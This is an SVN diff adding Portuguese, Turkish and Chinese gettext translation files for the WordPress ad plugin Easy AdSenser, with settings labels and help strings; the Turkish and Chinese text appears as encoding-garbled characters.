+msgstr "N&atilde;o mostrar links em qualquer lugar (Tem certeza?!)"
+
+#: admin.php:232
+msgid "Save Changes"
+msgstr "Salvar altera&ccedil;&otilde;es"
+
+#: admin.php:232
+msgid "Save the changes as specified above"
+msgstr "Salva as altera&ccedil;&otilde;es especificadas acima"
+
+#: admin.php:233
+msgid "Reset Options"
+msgstr "Redefinir op&ccedil;&otilde;es"
+
+#: admin.php:233
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "Ignora todas as suas altera&ccedil;&otilde;es em restaura as padr&otilde;es. (Voc&ecirc; tem certeza?)"
+
+#: admin.php:233
+msgid "This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!"
+msgstr "Este bot&atilde;o <b>Redefinir op&ccedil;&otilde;es</b> elimina todas as suas mudan&ccedil;as e carrega as op&ccedil;&otilde;es padr&atilde;o. Este &eacute; seu &uacute;nico aviso!"
+
+#: admin.php:240
+msgid "Support Easy AdSenser"
+msgstr "Ajude o Easy AdSenser"
+
+#: admin.php:245
+msgid "If you would like to support my efforts, please visit (and link-back to) my blog"
+msgstr "Se voc&ecirc; deseja ajudar meu empenho, visite (e linke de volta ) meu blog"
+
+#: admin.php:248
+msgid "If you like the content and style of my blog,"
+msgstr "Se voc&ecirc; gosta do conte&uacute;do e estilo do meu blog,"
+msgid "consider buying my book"
+msgstr ""
+
+#: admin.php:251
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "coloca um pequeno link abaixo do (primeiro) bloco de an&uacute;ncio o exibindo assim:"
+
+#: admin.php:269
+msgid "Consider leaving it unchanged. If you must suppress it, please use the Link-back options above."
+msgstr "Considere deixar isso inalterado. Se voc&ecirc; precisa omitir isso, use as op&ccedil;&otilde;es de \"Link para\" acima."
+
+#: admin.php:273
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "Por favor reporte quaisquer problemas. E compartilhe suas id&eacute;ias e coment&aacute;rios."
+
+#: admin.php:273
+msgid "Post it in the WordPress forum"
+msgstr "Poste isso no f&oacute;rum do WordPress"
+
+#: admin.php:273
+msgid "[WordPress Forum]"
+msgstr "[F&oacute;rum do WordPress]"
+
+#: admin.php:273
+msgid "Or"
+msgstr "ou"
+
+#: admin.php:273
+msgid "Contact the plugin author through email"
+msgstr "Contate o autor do plugin por e-mail"
+
+#: admin.php:273
+msgid "[Email Author]"
+msgstr "[E-mail do autor]"
+
+#: admin.php:276
+msgid "Check out my other plugin efforts:"
+msgstr "Veja meus outros trabalhos com plugins:"
+
+#: admin.php:279
+msgid "To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr "Para modificar o projeto de cores de seus temas sem edi&ccedil;&atilde;o de CSS"
+
+#: admin.php:282
+msgid "To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:"
+msgstr "Para traduzir f&oacute;rmulas LaTeX como isso [math](a+b)^2 = a^2 + b^2 + 2ab[/math] para isso:"
+
+#: admin.php:285
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "Minha tend&ecirc;ncia em pensar no AdSense Plugin. Sem bagun&ccedil;a, nem afoba&ccedil;&atilde;o."
+
+#: admin.php:295
+msgid "Future Plans"
+msgstr "Planos futuros"
+
+#: admin.php:299
+msgid "Make the Google Link Units widget multi-insertable. [In version 2.0, the Link Units widgets are repeated because I cannot figure out how to do multi-insertable widgets in a neat way.]"
+msgstr "Fazer o widget da caixa de links do Google aceitar v&aacute;rios c&oacute;digos. [Na vers&atilde;o 2.0, o widget da caixa de links s&atilde;o repetidas porqu&ecirc; eu n&atilde;o consegui desenhar uam forma de inserir diversas caixas de forma organizada.]"
+
+#: admin.php:302
+msgid "Enable ad blocks in category view (User request)."
+msgstr "Habilitar visualiza&ccedil;&atilde;o de blocos de an&uacute;ncios por categoria (Pedido de usu&aacute;rio)."
+
+#: admin.php:305
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr "Lan&ccedil;ar vers&otilde;es traduzidas do plugin. (Preciso de sua ajuda!)"
+
+#: easy-adsenser.php:244
+msgid "Settings Updated."
+msgstr "Configura&ccedil;&otilde;es atualizadas."
+
+#: easy-adsenser.php:251
+msgid "Ok, all your settings have been discarded!"
+msgstr "ok, todas as suas configura&ccedil;&otilde;es foram eliminadas!"
+
+#: easy-adsenser.php:259
+msgid "Error locating the admin page!\nEnsure admin.php exists, or reinstall the plugin."
+msgstr "Erro ao localizar a p&aacute;gina de administra&ccedil;&atilde;o!\nVerifique se o admin.php existe, ou reinstale o plugin."
+
+#: easy-adsenser.php:272
+msgid "Settings"
+msgstr "Configura&ccedil;&otilde;es"
+
+#: easy-adsenser.php:439
+msgid "Sponsored Links"
+msgstr "Links patrociados"
+
+#: easy-adsenser.php:518
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr "Easy AdSenser: Mostre um bloco do Google AdSense block em sua barra lateral como um widget"
+
+#: easy-adsenser.php:523
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr "Easy AdSenser: Mostre uma caixa de busca do Google em sua barra lateral com um widget"
+
+#: easy-adsenser.php:567
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr "Easy AdSenser: Mostre uma caixa de links do Google em sua barra lateral como um widget"
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr "Easy AdSenser"
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr "http://www.thulasidas.com/adsense"
+
+#. Description of an extension
+msgid "Easiest way to show AdSense and make money from your blog. Configure it at " "<a href= \"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy " "AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr "A forma mais f&aacute;cil de mostrar AdSense e ganhar dinheiro com seu blog. Configure em " "<a href= \"options-general.php?page=easy-adsenser.php\">Configura&ccedil;&otilde;es &rarr; Easy " "AdSenser</a>, ou use o link \"Configura&ccedil;&otilde;es\" a direita."
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr "Manoj Thulasidas. Portuguese by: Ivan Carlos"
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr "http://www.thulasidas.com"
+
+#: admin.php:54
+msgid ""
+"If you want to suppress AdSense in a particular post or page, give the "
+"<b><em>comment </em></b> \"&lt;!--noadsense--&gt;\" somewhere in its text."
+"\r\n"
+"<br />\r\n"
+"<br />\r\n"
+"Or, insert a <b><em>Custom Field</em></b> with a <b>key</b> \"adsense\" and "
+"give it a <b>value</b> \"no\".<br />\r\n"
+"<br />\r\n"
+"Other <b><em>Custom Fields</em></b> you can use to fine-tune how a post or "
+"page displays AdSense blocks:<br />\r\n"
+"<b>Keys</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Values</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
+msgstr ""
+"Se você deseja omitir o AdSense em um post em particular, publique o <b><em>comentário</em></b> \"&lt;!--noadsense--&gt;\" em algum lugar do texto.<br />\r\n"
+"<br />\r\n"
+"Ou, insira um <b><em>Campo personalizado</em></b> com um <b>nome</b> \"adsense\" e dê a ele o <b>valor</b> \"no\".<br />\r\n"
+"<br />\r\n"
+"Em outros <b><em>Campos personalizados</em></b> você pode usar para ajustar como um post ou página exibe os blocos do AdSense:<br />\r\n"
+"<b>Nomes</b>:<br />\r\n"
+"adsense-top,\r\n"
+"adsense-middle,\r\n"
+"adsense-bottom,\r\n"
+"adsense-widget,\r\n"
+"adsense-search<br />\r\n"
+"<b>Valores</b>:<br />\r\n"
+"left,\r\n"
+"right,\r\n"
+"center,\r\n"
+"no"
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/tr_TR/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/tr_TR/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/tr_TR/easy-adsenser.po	(revision 44)
@@ -0,0 +1,430 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-03-26 23:25+0000\n"
+"PO-Revision-Date: 2009-05-02 21:52+0200\n"
+"Last-Translator: Omer Faruk - wordpress.info.tr <admin@wordpress.info.tr>\n"
+"Language-Team: Ramerta Grup <admin@ramerta.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "AÃ§Ä±klamalar"
+
+#: admin.php:12
+msgid "Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; Get Ads)."
+msgstr "Adsense kodu oluÅtur (Adres: http://adsense.google.com &rarr; AdSense Kurulumu &rarr; Reklam OluÅtur)."
+
+#: admin.php:17
+msgid "Cut and paste the AdSense code into the boxes below, deleting the existing text."
+msgstr "Adsense kodunu kopyala ve aÅaÄÄ±da ki dilediÄin kutulara yerleÅtir."
+
+#: admin.php:22
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "Blog yazÄ±larÄ±nÄ±zda reklamlarÄ±nÄ±zÄ±n nerede ve hangi hizada yayÄ±nlanacaÄÄ±na karar ver."
+
+#: admin.php:27
+msgid "Take a look at the Google policy option, and other options. The defaults should work."
+msgstr "Google kurallarÄ±na ve diÄer ayarlara bir gÃ¶z at. Mevcut olanlar Ã§alÄ±ÅmalÄ±."
+
+#: admin.php:32
+msgid "Save the options, and you are done!"
+msgstr "AyarlarÄ± kaydet. Hepsi bu!"
+
+#: admin.php:37
+#, php-format
+msgid "If you want to use the widgets, drag and drop them at %s Appearance (or Design) &rarr; Widgets %s"
+msgstr "EÄer bileÅenleri kullanmak istiyorsan, takipte ki linke tÄ±kla ve oradan bileÅeni ekle. a %s GÃ¶rÃŒnÃŒm (or Design) &rarr; BileÅenler %s"
+
+#: admin.php:42
+#, php-format
+msgid "Need to control ad blocks on each post? &nbsp; %s"
+msgstr "Herhangi bir yazÄ±da reklam bloklarÄ±nÄ± kontrol etmeye mi ihtiyacÄ±n var? &nbsp; %s"
+
+#: admin.php:51
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "Ayarlar (Tema iÃ§in: %s)"
+
+#: admin.php:64
+msgid "Ad Blocks in Your Posts"
+msgstr "YazÄ±larÄ±nÄ±zda Reklam BloklarÄ±"
+
+#: admin.php:65
+msgid "[Appears in your posts and pages]"
+msgstr "[YazÄ±larda ve sayfalarda gÃ¶rÃŒntÃŒlenecekler]"
+
+#: admin.php:75
+msgid "Widgets for Your Sidebars"
+msgstr "BileÅenlerde gÃ¶rÃŒntÃŒlenecekler"
+
+#: admin.php:76
+msgid "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+
+#: admin.php:90
+msgid "Lead-in AdSense Text"
+msgstr "Sayfa ÃstÃŒ Adsense Kodu"
+
+#: admin.php:91
+msgid "(Appears near the beginning of the post)"
+msgstr "(YazÄ±nÄ±n baÅlangÄ±Ã§ kÄ±smÄ±nda gÃ¶rÃŒntÃŒlenecek)"
+
+#: admin.php:94
+#: admin.php:109
+#: admin.php:124
+#: admin.php:164
+#: admin.php:180
+msgid "Ad Alignment"
+msgstr "Reklam Hizalama"
+
+#: admin.php:95
+#: admin.php:110
+#: admin.php:125
+#: admin.php:165
+#: admin.php:181
+msgid "(Where to show?)"
+msgstr "(Nerede gÃ¶sterilsin?)"
+
+#: admin.php:97
+#: admin.php:112
+#: admin.php:127
+#: admin.php:167
+#: admin.php:183
+msgid "Align Left"
+msgstr "Sola Hizala"
+
+#: admin.php:98
+#: admin.php:113
+#: admin.php:128
+#: admin.php:168
+#: admin.php:184
+msgid "Center"
+msgstr "Ortala"
+
+#: admin.php:99
+#: admin.php:114
+#: admin.php:129
+#: admin.php:169
+#: admin.php:185
+msgid "Align Right"
+msgstr "SaÄa Hizala"
+
+#: admin.php:100
+msgid "Suppress Lead-in Ad"
+msgstr "Ãst KÄ±sÄ±mda ki ReklamÄ± Engelle"
+
+#: admin.php:105
+msgid "Mid-Post AdSense Text"
+msgstr "YazÄ± OrtasÄ± AdSense Kodu"
+
+#: admin.php:106
+msgid "(Appears near the middle of the post)"
+msgstr "(YazÄ±nÄ±n orta kÄ±smÄ±nda gÃ¶rÃŒntÃŒlenecek)"
+
+#: admin.php:115
+msgid "Suppress Mid-post Ad"
+msgstr "Orta KÄ±sÄ±mda ki ReklamÄ± Engelle"
+
+#: admin.php:120
+msgid "Post Lead-out AdSense Text"
+msgstr "YazÄ±nÄ±n Alt KÄ±smÄ± Ä°Ã§in AdSense Reklam Kodu"
+
+#: admin.php:121
+msgid "(Appears near the end of the post)"
+msgstr "(YazÄ±nÄ±n alt kÄ±smÄ±nda gÃ¶rÃŒntÃŒlenecek)"
+
+#: admin.php:130
+msgid "Suppress Lead-out Ad"
+msgstr "Sayfa Sonu Reklam GÃ¶sterimini BaskÄ±la"
+
+#: admin.php:138
+msgid "Option on Google Policy"
+msgstr "Google KurallarÄ±na GÃ¶re Ayarlar"
+
+#: admin.php:139
+msgid "(Google policy allows no more than three ad blocks and three link units per page)"
+msgstr "(Google kurallarÄ±na gÃ¶re bir sayfada ÃŒÃ§ reklam bloklarÄ±ndan ve baÄlantÄ± birimlerinden daha fazlasÄ±nÄ± yayÄ±nlamak yasaktÄ±r.)"
+
+#: admin.php:142
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "ÃÃ§ reklam bloÄu (EÄer etkin kÄ±lÄ±nÄ±rsa, sidebar-kenar kÄ±sÄ±m- bileÅenini iÃ§erecektir)"
+
+#: admin.php:143
+msgid "Two ad blocks."
+msgstr "Ä°ki reklam bloÄu"
+
+#: admin.php:144
+msgid "One ad block."
+msgstr "Tek reklam bloku"
+
+#: admin.php:145
+msgid "No ad blocks in posts."
+msgstr "YazÄ±larda reklam bloklarÄ± olmasÄ±n"
+
+#: admin.php:146
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "SÄ±nÄ±rsÄ±z sayÄ±da reklam bloklarÄ± (Kendi riskiniz)"
+
+#: admin.php:148
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "BaÄlantÄ± birim bileÅenleri sayÄ±sÄ± (&le; 3) [Google yalnÄ±zda ÃŒÃ§ tanesine izin veriyor]:"
+
+#: admin.php:160
+msgid "AdSense Widget Text"
+msgstr "BileÅenler Ä°Ã§in AdSense Reklam Kodu"
+
+#: admin.php:161
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(BileÅen Olarak Sidebar-Kenar KÄ±sÄ±m-'da GÃ¶rÃŒntÃŒlenecek)"
+
+#: admin.php:170
+msgid "Suppress Widget"
+msgstr "BileÅen ReklamlarÄ±nÄ± Engelle"
+
+#: admin.php:171
+msgid "Widget Title:"
+msgstr "BileÅen BaÅlÄ±ÄÄ±:"
+
+#: admin.php:176
+msgid "AdSense Link-Units Text"
+msgstr "Adsense Link Birimleri Kodu"
+
+#: admin.php:177
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr "(BileÅen Olarak Sidebar-Kenar KÄ±sÄ±m-'da GÃ¶rÃŒntÃŒlenecek)"
+
+#: admin.php:186
+msgid "Suppress Link Units"
+msgstr "BaÄlantÄ± Birimlerini Engelle"
+
+#: admin.php:187
+msgid "Link Unit Title:"
+msgstr "BaÄlantÄ± Birimi BaÅlÄ±ÄÄ±:"
+
+#: admin.php:192
+msgid "Google Search Widget"
+msgstr "Google Arama BileÅeni Kodu"
+
+#: admin.php:193
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(Sidebar-Kenar KÄ±sÄ±m-'a Google Arama Kutusu ekle)"
+
+#: admin.php:196
+msgid "Search Title"
+msgstr "Arama BaÅlÄ±ÄÄ±"
+
+#: admin.php:197
+msgid "(Title of the Google Search Widget)"
+msgstr "(Google Arama BileÅeni BaÅlÄ±ÄÄ±)"
+
+#: admin.php:201
+msgid "Suppress Search Box"
+msgstr "Arama Kutusunu BaskÄ±la"
+
+#: admin.php:202
+msgid "Custom Title:"
+msgstr "Ãzel BaÅlÄ±k:"
+
+#: admin.php:210
+msgid "Other Options"
+msgstr "DiÄer Ayarlar"
+
+#: admin.php:212
+msgid "Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr "Beslemelerde reklam bloklarÄ±na izin ver. [EÄer bu seÃ§enekte hata ile karÅÄ±laÅÄ±rsanÄ±z lÃŒtfen rapor ediniz: admin@wordpress.info.tr]"
+
+#: admin.php:213
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "Sidebar bileÅenine Ã¶ncelik ver. (EÄer etkinse, bileÅen her zaman gÃ¶sterilecektir.)"
+
+#: admin.php:214
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr "KÄ±sa yazÄ±larda orta reklam(EÄer etkinse) gÃ¶rÃŒntÃŒlenmesini engelle."
+
+#: admin.php:216
+msgid "Link-backs to"
+msgstr "Back Link:"
+
+#: admin.php:217
+msgid "(Consider showing at least one link.)"
+msgstr "(Reklam altÄ±nda gÃ¶sterilecek bir link deÄerlendirmesi)"
+
+#: admin.php:219
+msgid "Show a link under every ad block."
+msgstr "TÃŒm reklam bloklarÄ±nÄ±n altÄ±nda bir link gÃ¶ster"
+
+#: admin.php:220
+msgid "Show the link only under the first ad block."
+msgstr "Sadece ilk reklam bloÄunun altÄ±nda link gÃ¶ster"
+
+#: admin.php:221
+msgid "Show the link at the bottom of your blog page."
+msgstr "Blog sayfanÄ±zÄ±n alt kÄ±smÄ±nda link gÃ¶ster"
+
+#: admin.php:222
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr "BloÄumun hiÃ§ bir yerinde link gÃ¶sterme. (Emin misiniz?)"
+
+#: admin.php:232
+msgid "Save Changes"
+msgstr "DeÄiÅiklikleri Kaydet"
+
+#: admin.php:232
+msgid "Save the changes as specified above"
+msgstr "YukarÄ±da belirtildiÄi Åekilde deÄiÅiklikleri kaydet"
+
+#: admin.php:233
+msgid "Reset Options"
+msgstr "AyarlarÄ± SÄ±fÄ±rla"
+
+#: admin.php:233
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "TÃŒm deÄiÅiklikleri iptal et ve mevcut ayarlarÄ± yÃŒkle. (GerÃ§ekten emin misin?)"
+
+#: admin.php:233
+msgid "[This <b>Reset Options</b> button discards all your changes and loads the default options. This is your only warning!]"
+msgstr "[Bu <b>AyarlarÄ± SÄ±fÄ±rla</b> butona tÃŒm ayarlarÄ±nÄ±zÄ± silip mevcut ayarlarÄ± geri yÃŒkleyecektir. Bu sizin riskiniz!]"
+
+#: admin.php:240
+msgid "Support Easy AdSenser"
+msgstr "Easy AdSense'yi Destekle"
+
+#: admin.php:245
+#, php-format
+msgid "If you would like support my efforts, please visit (and link-back to) my blog - %s"
+msgstr "Benim gayretlerimi desteklemek istiyorsan, sitemi ziyaret et (ve back link ver) - %s"
+
+#: admin.php:248
+#, php-format
+msgid "If you like the content and style of my blog, %s. In other words, lend me your eyes, but don't give me any money unless you like what you see. %s"
+msgstr "Benim sitemin iÃ§eriÄi ve stilini beÄendiysen,%s. DiÄer kelimeyle, gÃ¶zlerinizi verin, fakat bana gÃ¶rdÃŒÄÃŒnÃŒzden daha aÅaÄÄ± baÄÄ±Å yapmayÄ±n. %s"
+
+#: admin.php:251
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "Bu gibi gÃ¶rÃŒntÃŒler (ilk) reklam biriminin altÄ±nda minik bir baÄlantÄ± koyuyor"
+
+#: admin.php:269
+msgid "Consider leaving it unchanged. If you must suppress it, please use the Link-back options above."
+msgstr "DeÄiÅmemiÅ bÄ±rakÄ±lmasÄ±nÄ± tekrar dÃŒÅÃŒnÃŒn. EÄer onu baskÄ±lamak zorundaysan, lÃŒtfen yukarÄ±da ki Back Link ayarlarÄ±nÄ± kullan."
+
+#: admin.php:273
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "LÃŒtfen problemleri rapor ediniz. Fikir ve dÃŒÅÃŒncelerinizi bizimle paylaÅÄ±nÄ±z."
+
+#: admin.php:273
+msgid "Post it in the WordPress forum"
+msgstr "Onu WordPress forumuna postala"
+
+#: admin.php:273
+msgid "[WordPress Forum]"
+msgstr "[WordPress Forum]"
+
+#: admin.php:273
+msgid "Or"
+msgstr "Veya"
+
+#: admin.php:273
+msgid "Contact the plugin author through email"
+msgstr "Mail yolu ile eklenti yapÄ±mcÄ±sÄ± ile baÄlantÄ± kur"
+
+#: admin.php:273
+msgid "[Email Author]"
+msgstr "[Eklenti Sahibine Mail]"
+
+#: admin.php:276
+msgid "Check out my other plugin efforts:"
+msgstr "DiÄer eklenti Ã§alÄ±ÅmalarÄ±mÄ± kontrol et:"
+
+#: admin.php:279
+msgid "To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr "CSS/Stylesheet dÃŒzenleyicisine gerek kalmadan istediÄiniz temanÄ±n istediÄiniz rengini modifiye edin."
+
+#: admin.php:282
+msgid "To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:"
+msgstr "LaTeX formÃŒllerini bu Åekilde Ã§evirmek iÃ§in [math](a+b)^2 = a^2 + b^2 + 2ab[/math] buraya:"
+
+#: admin.php:285
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "Benim ÃŒrÃŒnÃŒm AdSense eklentisi. ÃvgÃŒ yok, kÃ¶tÃŒlemek yok :)"
+
+#: admin.php:295
+msgid "Future Plans"
+msgstr "Gelecek planlar"
+
+#: admin.php:299
+msgid "Make the Google Link Units widget multi-insertable. [In version 2.0, the Link Units widgets are repeated because I cannot figure out how to do multi-insertable widgets in a neat way.]"
+msgstr "Google BaÄlantÄ± Birimlerini bileÅenler iÃ§in Ã§oklu-yerleÅtirilebilinir yapmak. [Versiyon 2.0'da, BaÄlantÄ± Birimleri bileÅenleri tekrarlandÄ± Ã§ÃŒnkÃŒ gÃŒzel bir yolla Ã§oklu-yerleÅtirmenin nasÄ±l yapÄ±labileceÄini dÃŒÅÃŒnemedim.]"
+
+#: admin.php:302
+msgid "Enable ad blocks in category view (User request)."
+msgstr "Kategori gÃ¶rÃŒntÃŒlenmesinde reklam bloklarÄ±nÄ± aktif et. (KullanÄ±cÄ± tercihi)"
+
+#: admin.php:305
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr "Eklentinin tercÃŒme edilmiÅ versiyonunu tanÄ±t. (YardÄ±mÄ±nÄ±za ihtiyacÄ±mÄ±z var!)"
+
+#: easy-adsenser.php:244
+msgid "Settings Updated."
+msgstr "Ayarlar gÃŒncellendi."
+
+#: easy-adsenser.php:251
+msgid "Ok, all your settings have been discarded!"
+msgstr "Tamam! TÃŒm ayarlarÄ±nÄ±z iptal edildi!"
+
+#: easy-adsenser.php:259
+msgid ""
+"Error locating the admin page!\n"
+"Ensure admin.php exists, or reinstall the plugin."
+msgstr ""
+"Admin sayfasÄ±na yerleÅme hatasÄ±!\n"
+"admin.php'nin mevcut olduÄundan emin ol, veya eklentiyi tekrar kur."
+
+#: easy-adsenser.php:272
+msgid "Settings"
+msgstr "Ayarlar"
+
+#: easy-adsenser.php:439
+msgid "Sponsored Links"
+msgstr "Sponsor Linkler"
+
+#: easy-adsenser.php:518
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr "Easy Adserser: Bir bileÅen olarak Google Adsense bloklarÄ±nÄ± sidebarda gÃ¶ster"
+
+#: easy-adsenser.php:523
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr "Easy Adserser: Bir bileÅen olarak Google Arama Kutusunu sidebarda gÃ¶ster"
+
+#: easy-adsenser.php:567
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr "Easy Adserser: Bir bileÅen olarak Google Link Birimlerini sidebarda gÃ¶ster"
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr "Easy AdSenser"
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr "http://www.thulasidas.com/adsense"
+
+#. Description of an extension
+msgid "Easiest way to show AdSense and make money from your blog. Configure it at <a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr "AdSense reklamlarÄ±nÄ±zÄ±n ve para kazanmanÄ±zÄ±n en kolay yolu. Buradan ayarla:<a href=\"options-general.php?page=easy-adsenser.php\">Ayarlar &rarr; Easy AdSenser</a>, veya \"Ayarlar\" bÃ¶lÃŒmÃŒnden giriÅ yap. - TÃŒrkÃ§e Ãeviri: <a href=\"http://ramerta.com\">Ramerta Grup Blog</a>"
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr "Manoj Thulasidas"
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr "http://www.thulasidas.com"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/zh_CN/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/zh_CN/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/zh_CN/easy-adsenser.po	(revision 44)
@@ -0,0 +1,745 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: easy adsense\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-07-08 19:00+0800\n"
+"PO-Revision-Date: \n"
+"Last-Translator: \n"
+"Language-Team:  <digihero@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Chinese\n"
+"X-Poedit-Country: CHINA\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: admin.php:10
+msgid "Instructions"
+msgstr "äœ¿çšè¯Žæ"
+
+#: admin.php:16
+#: admin.php:22
+#: admin.php:26
+#: admin.php:30
+msgid "Click for help"
+msgstr "ç¹å»æ­€å€è·åŸåž®å©"
+
+#: admin.php:16
+msgid "How to Set it up"
+msgstr "åŠäœè®Ÿçœ®"
+
+#: admin.php:18
+#, php-format
+msgid "A few easy steps to setup %s"
+msgstr "å äžªç®åçæ­¥éª€æ¥å®è£
+ %s"
+
+#: admin.php:22
+msgid "How to Control AdSense on Each Post"
+msgstr "åŠäœæ§å¶adsenseåšæ¯äžç¯æ¥å¿äž­"
+
+#: admin.php:23
+msgid "Need to control ad blocks on each post?"
+msgstr "éèŠåšåŸªç¯æ¥å¿äž­æ§å¶æ¯äžªå¹¿ååºåïŒ"
+
+#: admin.php:26
+msgid "All-in-One AdSense Control"
+msgstr "All-in-One AdSense é¢æ¿"
+
+#: admin.php:27
+msgid "Sidebar Widgets, Link Units or Google Search"
+msgstr "æ èŸ¹æ å°å·¥å
+·, éŸæ¥åå
+æ Google æçŽ¢"
+
+#: admin.php:31
+msgid "Check out the FAQ and rate this plugin."
+msgstr "ççè¿äžªæä»¶çåžžè§é®é¢ã"
+
+#: admin.php:37
+msgid "Support this Plugin!"
+msgstr "æ¯æè¿äžªæä»¶!"
+
+#: admin.php:38
+msgid "Share a small fraction of your ad space"
+msgstr "åäº«çäžå°éšåäœ çå¹¿åç©ºéŽ"
+
+#: admin.php:39
+msgid "Buy a book, <b>The Unreal Universe</b>"
+msgstr "èŽ­ä¹°äžæ¬ä¹ŠïŒ <b>The Unreal Universe</b>"
+
+#: admin.php:40
+msgid "Make a donation"
+msgstr "æå©"
+
+#: admin.php:55
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "éé¡¹ïŒå¯¹äº %s äž»é¢ïŒ"
+
+#: admin.php:65
+msgid "Ad Blocks in Your Posts"
+msgstr "åšæšæ¥å¿äž­çå¹¿ååºå"
+
+#: admin.php:66
+msgid "[Appears in your posts and pages]"
+msgstr "[åºç°åšäœ çæ¥å¿åé¡µé¢]"
+
+#: admin.php:76
+msgid "Widgets for Your Sidebars"
+msgstr "èŸ¹æ å°å·¥å
+·"
+
+#: admin.php:77
+msgid "[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr "[æ¥ç <a href=\"widgets.php\"> å€è§ïŒæ è®Ÿè®¡ïŒ -> å°å·¥å
+·</a>]"
+
+#: admin.php:92
+msgid "Lead-in AdSense Text"
+msgstr "Lead-in AdSenseææ¬"
+
+#: admin.php:93
+msgid "(Appears near the beginning of the post)"
+msgstr "ïŒæŸç€ºåšæ¥å¿åŒå§çäœçœ®ïŒ"
+
+#: admin.php:96
+#: admin.php:114
+#: admin.php:132
+#: admin.php:194
+#: admin.php:213
+msgid "Ad Alignment"
+msgstr "å¹¿åå¯¹éœ"
+
+#: admin.php:97
+#: admin.php:115
+#: admin.php:133
+#: admin.php:195
+#: admin.php:214
+msgid "(Where to show?)"
+msgstr "ïŒåšåªéæŸç€ºïŒ ïŒ"
+
